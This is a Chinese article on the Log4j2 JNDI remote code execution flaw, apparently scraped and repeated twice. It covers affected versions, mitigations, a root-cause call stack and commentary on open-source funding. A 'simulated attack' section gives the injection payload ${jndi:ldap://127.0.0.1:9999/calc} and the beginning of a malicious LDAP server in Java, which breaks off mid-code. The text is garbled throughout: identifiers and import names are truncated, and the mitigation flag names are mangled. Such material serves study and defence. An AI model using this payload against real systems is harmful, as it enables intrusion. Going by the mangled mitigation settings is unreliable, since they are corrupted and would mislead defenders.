2023年6月21日发(作者:)
log4j2远程代码执⾏漏洞根本原因分析log4jbug复现⼀、 背景 近年来技术开源热潮席卷全球,诸多信息领域⼤⼚及开发者争相拥抱开源,将其推上了前所未有的⾼度。 然⽽,最近全球知名开源⽇志组件 Apache Log4j2 被阿⾥团队曝出严重⾼危漏洞。该漏洞让⿊客不⽤知道服务器账号,就可以做到如⼊⽆⼈之境,进⽽对你的服务做任何你可以想象到的破坏。 Apache Log4j2 这⼀漏洞被称为 " 史诗级 " ⾼危漏洞,服务器业务(Steam、iCloud、Minecraft 等)被严重影响。尽管后续Apache Log4j2 针对该漏洞给出了修复版本 log4j-2.15.0-rc2,但由于 Apache Log4j2 应⽤⼴泛,该漏洞⼏乎会严重影响所有将 Java作为开发语⾔研发产品的安全性,因此漏洞发现以后,世界上很多程序员都在为此加班加点,甚⾄开始抨击为何 Apache Log4j2 的维护者们连这般危险的漏洞都没发现。 那这是为什么呢?Log4j2的维护者有没有得到赞助让他们有⾜够财⼒去维护庞⼤的程序? 没有,⼏乎没有。从 Cryptogopher+Go 团队安全负责⼈ Filippo Valsorda 在推特上发布的截图来看,在本次事件发酵之前,赞助Apache Log4j2 项⽬的只有 3 ⼈——⼀个应⽤于整个互联⽹⾏业 " 半壁江⼭ " 的开源项⽬,只有 3 个⼈赞助。⼆、 Apache官⽅issue分析 详情请查阅三、 第三⽅安全机构评估四、 影响范围Apache Log4j 2.x < 2.15.0。存在漏洞的jar包为Apache log4j-core。已知的依赖引⼊包有spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink等。五、 解决办法1、版本升级 Apache Log4j 官⽅已经发布了解决上述漏洞的安全更新建议,受影响⽤户尽快升级到安全版本log4j-2.15.0正式版。资料请查阅2、临时缓解措施 禁⽌没有必要的业务访问外⽹。 使⽤jvm参数启动 -MsgNoLookups=true。 设置 MsgNoLookups=True。 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true。3、三⽅依赖 对项⽬依赖分析,查询是否在引⼊了第三⽅依赖时,通过依赖引⼊了log4j-core,此时需要检查log4j-core的版本是否处于受影响的范围内,然后进⾏相应的升级或替换。六、 漏洞根本原因分析 下图为展⽰了攻击者对服务端的攻击流程。使⽤的log4j-core源码为2.14.1版本。以下为解析("⽇志结果: {}", "${jndi:ldap://127.0.0.1:9999/calc}")时, log4j对该类字符串("${jndi:ldap://127.0.0.1:9999/calc}")的处理分析。⽅法ePatternConverter#format MessagePatternConverter#format⽅法调⽤栈format:113, MessagePatternConverter (n)format:38, PatternFormatter (n)toSerializable:344, PatternLayout$PatternSerializer ()toText:244, PatternLayout ()encode:229, PatternLayout ()encode:59, PatternLayout ()directEncodeEvent:197, AbstractOutputStreamAppender (er)tryAppend:190, AbstractOutputStreamAppender (er)append:181, AbstractOutputStreamAppender (er)tryCallAppender:156, AppenderControl ()callAppender0:129, AppenderControl ()callAppenderPreventRecursion:120, AppenderControl ()callAppender:84, AppenderControl ()callAppenders:540, LoggerConfig ()processLogEvent:498, LoggerConfig ()log:481, LoggerConfig ()log:456, LoggerConfig ()log:63, DefaultReliabilityStrategy ()log:161, Logger ()tryLogMessage:2205, AbstractLogger ()logMessageTrackRecursion:2159, AbstractLogger ()logMessageSafely:2142, AbstractLogger ()logMessage:2034, AbstractLogger ()logIfEnabled:1899, AbstractLogger ()error:866, AbstractLogger ()main:21, Test (test)七、 模拟攻击Idap服务代码:import ryDirectoryServer;import ryDirectoryServerConfig;import ryListenerConfig;import ryInterceptedSearchResult;import ryOperationInterceptor;import ;import ception;import sult;import Code;import SocketFactory;import Factory;import ketFactory;import dress;import medURLException;import ;public class Ldap { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] argsx) { String[] args = new String[]{"127.0.0.1/#Calc", "9999"}; int port = 0; int port = 0; if ( < 1 || args[0].indexOf('#') < 0) { n(pleName() + "
开源社理事长庄表伟指出,软件出现 Bug、漏洞或者安全风险,本质上是⼀个技术问题,⽆法避免,只能尽快修复。⽽随着软件世界使⽤的开源软件越来越多,引⼊的风险就会不断增加,同时⼀款开源软件被使⽤的范围越来越⼴,这款开源软件出现漏洞所造成的损失也会不断增⼤。 基于此,构成了对 " 开源供应链风险趋势 " 的基本判断或出发点,即提升风险应对能⼒,识别潜在风险源头和预防风险发⽣: 庄表伟认为需要明确的⼀点是:遇到⼤型开源漏洞事件,就去讨论 " 该不该给开源软件捐钱 ",有些本末倒置。 Apache 软件基⾦会董事、Apache SkyWalking 创始⼈吴晟则指出,Apache Log4j2 等部分底层技术的开源项⽬⽆法直接进⾏商业相关活动,因此很难长时间收到⼤量的捐款及资助,这也是开源软件的性质使然。但需要注意的是,这与漏洞本⾝并没有逻辑上的关系:" ⼼情可以理解,但确实不是这个道理。" 他表⽰,此次 Apache Log4j2 的 Bug 是⼀个很明显的安全漏洞,但也是多维度原因造成的,包括 log4j 2 默认打开了 JNDI,以及JVM 是否也打开了 JNDI 参数等。⽽安全漏洞其实每天都有很多,这次是因为 Apache Log4j 2 的适⽤范围⼴、漏洞注⼊简单才有了⼴泛的报道,因为即便是强⼤的操作系统如 Linux、甚⾄是商业项⽬ Windows 都被发现有很多安全漏洞。吴晟补充道:"Apache Log4j 建于2003 年,⼀个快 20 年、⼏乎和 Apache 基⾦会同岁的项⽬,其持续性和持续参与都是已经被时间证明过的。我觉得⼤家更多应该思考怎么看待开源,怎么去 Follow 开源社区以及参与开源。" ⽩鲸开源联合创始⼈、Apache DolphinScheduler PMC Chair、Apache 孵化器导师代⽴冬:"很多开源项⽬都是靠爱发电的,开源并没有⼤家看起来的那么光鲜,其实是⾮常⾟苦的。" 他表⽰,在公司预算和允许的情况下,给予必要的赞助是⾮常值得⿎励的⾏为,这样才能使开源维护者们持续有动⼒维护迭代开源项⽬。 但他也补充道,开源要找到⼀个正确的商业模式将开源和商业有机结合起来,才可以让⼀个项⽬长期繁荣,靠爱发电不是长久之计。项⽬要有⼀个很好的产品调性,有商业上的刚需和痛点才有机会做全职;其次需要有繁荣的开源社区,这样社区⾥就会有愿意付费的潜客和合作伙伴。
2023年6月21日发(作者:)
log4j2远程代码执⾏漏洞根本原因分析log4jbug复现⼀、 背景 近年来技术开源热潮席卷全球,诸多信息领域⼤⼚及开发者争相拥抱开源,将其推上了前所未有的⾼度。 然⽽,最近全球知名开源⽇志组件 Apache Log4j2 被阿⾥团队曝出严重⾼危漏洞。该漏洞让⿊客不⽤知道服务器账号,就可以做到如⼊⽆⼈之境,进⽽对你的服务做任何你可以想象到的破坏。 Apache Log4j2 这⼀漏洞被称为 " 史诗级 " ⾼危漏洞,服务器业务(Steam、iCloud、Minecraft 等)被严重影响。尽管后续Apache Log4j2 针对该漏洞给出了修复版本 log4j-2.15.0-rc2,但由于 Apache Log4j2 应⽤⼴泛,该漏洞⼏乎会严重影响所有将 Java作为开发语⾔研发产品的安全性,因此漏洞发现以后,世界上很多程序员都在为此加班加点,甚⾄开始抨击为何 Apache Log4j2 的维护者们连这般危险的漏洞都没发现。 那这是为什么呢?Log4j2的维护者有没有得到赞助让他们有⾜够财⼒去维护庞⼤的程序? 没有,⼏乎没有。从 Cryptogopher+Go 团队安全负责⼈ Filippo Valsorda 在推特上发布的截图来看,在本次事件发酵之前,赞助Apache Log4j2 项⽬的只有 3 ⼈——⼀个应⽤于整个互联⽹⾏业 " 半壁江⼭ " 的开源项⽬,只有 3 个⼈赞助。⼆、 Apache官⽅issue分析 详情请查阅三、 第三⽅安全机构评估四、 影响范围Apache Log4j 2.x < 2.15.0。存在漏洞的jar包为Apache log4j-core。已知的依赖引⼊包有spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink等。五、 解决办法1、版本升级 Apache Log4j 官⽅已经发布了解决上述漏洞的安全更新建议,受影响⽤户尽快升级到安全版本log4j-2.15.0正式版。资料请查阅2、临时缓解措施 禁⽌没有必要的业务访问外⽹。 使⽤jvm参数启动 -MsgNoLookups=true。 设置 MsgNoLookups=True。 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true。3、三⽅依赖 对项⽬依赖分析,查询是否在引⼊了第三⽅依赖时,通过依赖引⼊了log4j-core,此时需要检查log4j-core的版本是否处于受影响的范围内,然后进⾏相应的升级或替换。六、 漏洞根本原因分析 下图为展⽰了攻击者对服务端的攻击流程。使⽤的log4j-core源码为2.14.1版本。以下为解析("⽇志结果: {}", "${jndi:ldap://127.0.0.1:9999/calc}")时, log4j对该类字符串("${jndi:ldap://127.0.0.1:9999/calc}")的处理分析。⽅法ePatternConverter#format MessagePatternConverter#format⽅法调⽤栈format:113, MessagePatternConverter (n)format:38, PatternFormatter (n)toSerializable:344, PatternLayout$PatternSerializer ()toText:244, PatternLayout ()encode:229, PatternLayout ()encode:59, PatternLayout ()directEncodeEvent:197, AbstractOutputStreamAppender (er)tryAppend:190, AbstractOutputStreamAppender (er)append:181, AbstractOutputStreamAppender (er)tryCallAppender:156, AppenderControl ()callAppender0:129, AppenderControl ()callAppenderPreventRecursion:120, AppenderControl ()callAppender:84, AppenderControl ()callAppenders:540, LoggerConfig ()processLogEvent:498, LoggerConfig ()log:481, LoggerConfig ()log:456, LoggerConfig ()log:63, DefaultReliabilityStrategy ()log:161, Logger ()tryLogMessage:2205, AbstractLogger ()logMessageTrackRecursion:2159, AbstractLogger ()logMessageSafely:2142, AbstractLogger ()logMessage:2034, AbstractLogger ()logIfEnabled:1899, AbstractLogger ()error:866, AbstractLogger ()main:21, Test (test)七、 模拟攻击Idap服务代码:import ryDirectoryServer;import ryDirectoryServerConfig;import ryListenerConfig;import ryInterceptedSearchResult;import ryOperationInterceptor;import ;import ception;import sult;import Code;import SocketFactory;import Factory;import ketFactory;import dress;import medURLException;import ;public class Ldap { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] argsx) { String[] args = new String[]{"127.0.0.1/#Calc", "9999"}; int port = 0; int port = 0; if ( < 1 || args[0].indexOf('#') < 0) { n(pleName() + "
开源社理事长庄表伟指出,软件出现 Bug、漏洞或者安全风险,本质上是⼀个技术问题,⽆法避免,只能尽快修复。⽽随着软件世界使⽤的开源软件越来越多,引⼊的风险就会不断增加,同时⼀款开源软件被使⽤的范围越来越⼴,这款开源软件出现漏洞所造成的损失也会不断增⼤。 基于此,构成了对 " 开源供应链风险趋势 " 的基本判断或出发点,即提升风险应对能⼒,识别潜在风险源头和预防风险发⽣: 庄表伟认为需要明确的⼀点是:遇到⼤型开源漏洞事件,就去讨论 " 该不该给开源软件捐钱 ",有些本末倒置。 Apache 软件基⾦会董事、Apache SkyWalking 创始⼈吴晟则指出,Apache Log4j2 等部分底层技术的开源项⽬⽆法直接进⾏商业相关活动,因此很难长时间收到⼤量的捐款及资助,这也是开源软件的性质使然。但需要注意的是,这与漏洞本⾝并没有逻辑上的关系:" ⼼情可以理解,但确实不是这个道理。" 他表⽰,此次 Apache Log4j2 的 Bug 是⼀个很明显的安全漏洞,但也是多维度原因造成的,包括 log4j 2 默认打开了 JNDI,以及JVM 是否也打开了 JNDI 参数等。⽽安全漏洞其实每天都有很多,这次是因为 Apache Log4j 2 的适⽤范围⼴、漏洞注⼊简单才有了⼴泛的报道,因为即便是强⼤的操作系统如 Linux、甚⾄是商业项⽬ Windows 都被发现有很多安全漏洞。吴晟补充道:"Apache Log4j 建于2003 年,⼀个快 20 年、⼏乎和 Apache 基⾦会同岁的项⽬,其持续性和持续参与都是已经被时间证明过的。我觉得⼤家更多应该思考怎么看待开源,怎么去 Follow 开源社区以及参与开源。" ⽩鲸开源联合创始⼈、Apache DolphinScheduler PMC Chair、Apache 孵化器导师代⽴冬:"很多开源项⽬都是靠爱发电的,开源并没有⼤家看起来的那么光鲜,其实是⾮常⾟苦的。" 他表⽰,在公司预算和允许的情况下,给予必要的赞助是⾮常值得⿎励的⾏为,这样才能使开源维护者们持续有动⼒维护迭代开源项⽬。 但他也补充道,开源要找到⼀个正确的商业模式将开源和商业有机结合起来,才可以让⼀个项⽬长期繁荣,靠爱发电不是长久之计。项⽬要有⼀个很好的产品调性,有商业上的刚需和痛点才有机会做全职;其次需要有繁荣的开源社区,这样社区⾥就会有愿意付费的潜客和合作伙伴。
发布评论